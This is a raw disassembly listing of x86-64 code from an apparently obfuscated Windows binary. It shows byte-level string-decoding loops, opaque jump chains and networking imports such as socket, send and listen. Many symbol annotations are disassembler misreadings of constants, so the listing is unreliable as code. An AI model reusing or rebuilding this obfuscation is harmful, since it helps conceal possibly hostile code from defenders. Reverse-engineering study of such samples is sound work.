movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0x8a8]
sub r10b, 0x7e
add r10b, dl
movabs rdx, 0x1a11e05e1f7ef697
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x21
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x8a8], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400830b5
movabs rdx, 0x23552285087fa439
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x71
add r10b, dl
movabs rdx, 0x6e0d422a5dfef41c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x8a8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
movabs rcx, 0xd3679b540e7fae25
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 3
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rcx, 0x2b70d7bb917fb31b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x43
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rdx, 0x837a1423147fb811
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x77
add r10b, dl
movabs rcx, 0x721b1cc5a27efb8d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x25
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x8a8], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rcx, 0xdb83508a977fbd07
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x31
dec rbx
inc rbx
jmp 0x140082592
movabs rdx, 0x8b95c9599d7fc6f3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5b
add r10b, dl
movabs rcx, 0xca24592d257f0083
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, cl
mov byte [rbp + rbx + 0x8a8], r11b
inc r9
dec rbx
inc rbx
jmp 0x140082592
movabs rcx, 0x9bcd33c6af7fe4b7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec r10b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rcx, 0xf3d6702e327fe9ad
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x45
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rcx, 0xfbf22564bb7ff88f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x17
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
movabs rcx, 0xa199cf1c787eb619
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x51
jmp 0x14008258e
movabs rcx, 0xf9a30b83fb7ebb0f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
jmp 0x14008257a
lea rcx, [rbp + 0x17e5e04]
jmp 0x14008335b
lea rcx, [rbp + 0x7e5b89]
jmp 0x14008335b
lea rcx, [rbp + 0x8a8]
mov dword [rbp + 0xfe0], 0x64
mov dword [rbp + 0xfe8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfe8]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xd80], 0x81
mov byte [rbp + 0xd81], Ordinal_200
mov byte [rbp + 0xd82], 0xaa
xorps xmm0, xmm0
movups xmmword [rbp + 0xd83], xmm0
movups xmmword [rbp + 0xd93], xmm0
movabs rsi, 0xd825b7cc77a2b3c2
movabs r12, 0x906351e52a44b33a
movabs r14, 0x65ed776df34d507e
movabs r15, 0x4526d3a39ec3ea0a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400841ba
movzx ebx, byte [rbp + rdi + 0xd80]
mov r10, rbx
cmp r8, rdi
ja 0x1400841ae
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140083457
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x6a
jmp 0x140083484
je 0x140084118
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084080
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008401c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083fca
cmp r9, rdi
ja 0x1400841a2
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400834b5
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
jmp 0x140083502
lea rax, [r9 + 1]
cmp r8, rax
je 0x140083fa9
inc rax
cmp r8, rax
je 0x140083f78
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083f4a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083f27
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083ef4
lea rax, [r9 + 7]
cmp r8, rax
je 0x140083ebb
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140083b0a
nop
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083ae7
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083ab6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140083a88
lea rax, [r9 + 2]
cmp r8, rax
je 0x140083a74
lea rax, [r9 + 1]
cmp r8, rax
je 0x140083a51
lea rcx, [r9 + 0xa]
cmp r8, rcx
je 0x140083a1e
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400839f7
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400839cf
lea rax, [r9 + 6]
cmp r8, rax
je 0x140083996
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x14008417a
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140084152
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400836be
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400836a4
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x140083686
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140083930
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400838cf
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x14008387e
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140083850
lea r8, [r9 + 0x28]
lea r9, [r8 + 8]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008381c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400837f5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400837ce
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140083796
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008376e
lea rcx, [r9 + 6]
cmp r8, rcx
ja 0x14008375a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140083731
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140083705
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400836e1
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x140083510
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
jmp 0x140083502
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x140083484
movabs rcx, 0x24602fd94a3a8396
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x140083424
movabs rdx, 0xc12dbe63bd159e10
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
jmp 0x140083fe9
movabs rcx, 0xa0671a99688c379c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
inc r9
dec rdi
inc rdi
jmp 0x140083412
movabs rcx, 0x7fa076cf1402d128
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
dec rdi
inc rdi
jmp 0x140083412
movabs rdx, 0x5ed9d304bf796ab4
mov ecx, 0xa
jmp 0x14008402b
movabs rdx, 0x3e132f3a6af00440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140084068
movabs rdx, 0x1d4c8b7016669dcc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083412
movabs rdx, 0xfc85e7a5c1dd3758
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x1400840a2
movabs rdx, 0xdbbf43db6d53d0e4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x1400840d4
movabs rcx, 0xbaf8a01118ca6a70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
movabs rcx, 0xe90806974572ea4e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
mov byte [rbp + rdi + 0xd80], r11b
inc rdi
jmp 0x140083412
movabs rdx, 0xc84162ccf0e983da
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x2a
jb 0x14008386e
movabs rdx, 0x8792a14ed75f691c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140083fec
movabs rdx, 0xa77abf029c601d66
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 6
jae 0x140083e62
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x140083d68
movabs rdx, 0x3fd03b678a016894
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x1400838a1
movabs rdx, 0x86b41b3847d6b6f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 3
je 0x140083e8c
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140083c70
movabs rdx, 0x67aa839b125eb4d2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400838f2
movabs rdx, 0x10e24ecacdd0368c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
movabs rdx, 0xf01bab007946d018
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400840d4
movabs rdx, 0xcf55073624bd69a4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x1400840a2
movabs rcx, 0xae8e636bd0340330
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083412
movabs rcx, 0x8dc7bfa17baa9cbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
jmp 0x140084068
movabs rdx, 0x6d011bd727213648
mov ecx, 4
jmp 0x14008402b
movabs rdx, 0x4c3a780cd297cfd4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140083412
movabs rdx, 0x2b73d4427e0e6960
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140083412
movabs rcx, 0xaad3078298502ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140083fec
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140083b2a
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, gethostname
jmp 0x140083947
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083b6c
movabs rdx, 0xb04b6f98ef456784
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
inc rax
cmp r8, rax
jne 0x140083b9c
movabs rdx, 0xf1d8b72d9858346c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400840a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083bd8
movabs rcx, 0x129f5af7ece19ae0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083412
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083c04
movabs rcx, 0x542ca28c95f467c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14008403f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083c3b
movabs rdx, 0x74f34656ea7dce3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140083412
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140083953
movabs rdx, 0xb6808deb93909b24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083fec
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083ca1
movabs rdx, 0x8871276566e81b46
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083fec
inc rax
cmp r8, rax
jne 0x140083cd5
movabs rcx, 0xa937cb2fbb7181ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
inc r9
dec rdi
inc rdi
jmp 0x140083412
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140083d07
movabs rcx, 0xc9fe6efa0ffae82e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
dec rdi
inc rdi
jmp 0x140083412
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083d33
movabs rcx, 0xeac512c464844ea2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x14008403f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400838f2
movabs rdx, 0xb8bb68eb90db516
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140084068
jne 0x140083d9e
movabs rcx, 0x6096df31de8acf08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083dcf
movabs rdx, 0xa22426c6879d9bf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400840a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140083dfb
movabs rcx, 0x47812258539cf4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x14008403f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083e2d
movabs rcx, 0x253eb5efd9c335c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140083412
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400838a1
movabs rdx, 0x66cbfd8482d602a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083fec
movabs rdx, 0xa85945192be8cf90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xd80]
jmp 0x140084039
movabs rdx, 0xc91fe8e380723604
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xd80]
sub r11b, 0x1c
add r11b, dl
jmp 0x1400840a2
movabs rdx, 0xff2179e970774dd6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
movabs rcx, 0x9ccd8e8a72db1a7a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083412
movabs rcx, 0x7c06eac01e51b406
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
jmp 0x140084068
movabs rdx, 0x3a79a32b753ee71e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140083412
movabs rdx, 0x19b2ff6120b580aa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140083412
movabs rdx, 0xf8ec5b96cc2c1a36
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7a
jmp 0x140083fe9
movabs rdx, 0xb75f140223194d4e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
add r11b, dl
movabs rcx, 0x17f5f33401a41c56
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x5a
add cl, bl
mov byte [rbp + rdi + 0xd80], cl
inc r9
dec rdi
inc rdi
jmp 0x140083412
movabs rdx, 0x550b28a3257d19f2
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x38bc96fe562d82ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd80], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140083412
mov rbx, r10
movabs rcx, 0xf2b73d4427e0e696
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
movabs rdx, 0x59833ac8aab6e93e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd80], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xe9e68cadd4fb9c78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x48
add bl, cl
mov byte [rbp + rdi + 0xd80], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
movabs rdx, 0xb129f5af7ece19ae
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xd80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140083412
movabs rdx, 0x3998c0ef5b11d22
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083410
movabs rdx, 0xe2d2e844a127b6ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083400
lea rsi, [rbp + 0x1687878]
jmp 0x1400841c1
lea rsi, [rbp + 0xed2bb2]
jmp 0x1400841c1
lea rsi, [rbp + 0xd80]
lea rdx, [0x140228020]
lea rcx, [rbp + 0x618]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xc8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xda8], 0x56
mov byte [rbp + 0xda9], Ordinal_50
mov byte [rbp + 0xdaa], gethostname
mov byte [rbp + 0xdab], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xdac], Ordinal_45
mov byte [rbp + 0xdad], 0x65
mov byte [rbp + 0xdae], Ordinal_50
mov byte [rbp + 0xdaf], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xdb0], 0x60
mov byte [rbp + 0xdb1], 0x3f
mov byte [rbp + 0xdb2], Ordinal_45
mov byte [rbp + 0xdb3], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xdb4], reloc.WS2_32.dll_send
mov byte [rbp + 0xdb5], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdb6], xmm0
mov dword [rbp + 0xdc6], eax
mov byte [rbp + 0xdca], al
movabs r15, 0xc053d48e2b7ddd5c
movabs r14, 0x66bd2994a5f7f624
movabs r12, 0x2fd9c0010359b04c
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0x9b71b4c9d14f22ec
cmp rbx, 0x23
jae 0x140084de9
movzx r11d, byte [rbp + rbx + 0xda8]
mov edx, r11d
cmp r8, rbx
ja 0x140084ddd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140084311
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x74
jmp 0x140084350
je 0x140084d53
inc rax
cmp r8, rax
je 0x140084d20
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084ce4
lea rax, [r9 + 4]
cmp r8, rax
je 0x140084c7d
lea rax, [r9 + 9]
cmp r8, rax
je 0x140084c23
nop word [rax + rax]
cmp r9, rbx
ja 0x140084dd1
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140084383
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400843b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140084bfe
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084bd3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140084b32
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400847aa
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084796
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140084764
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140084735
lea rax, [r9 + 2]
cmp r8, rax
je 0x140084721
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400846fc
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400846d4
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008469e
lea r8, [r9 + 5]
lea r9, [r8 + 1]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140084dac
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140084d87
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008450c
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400844ec
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008464a
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140084616
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400843c0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400845dc
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400845b3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008457b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140084556
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008452b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400843c0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 5]
jmp 0x1400843c0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400843b0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x140084350
movabs rcx, 0x94d7d14a16b25f30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
dec rbx
inc rbx
jmp 0x1400842c2
movabs rdx, 0x5df467b674141958
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
jmp 0x140084c9e
movabs rcx, 0x2710fe22d175d380
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400842c2
movabs rdx, 0x8266c167e99b01f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140084b89
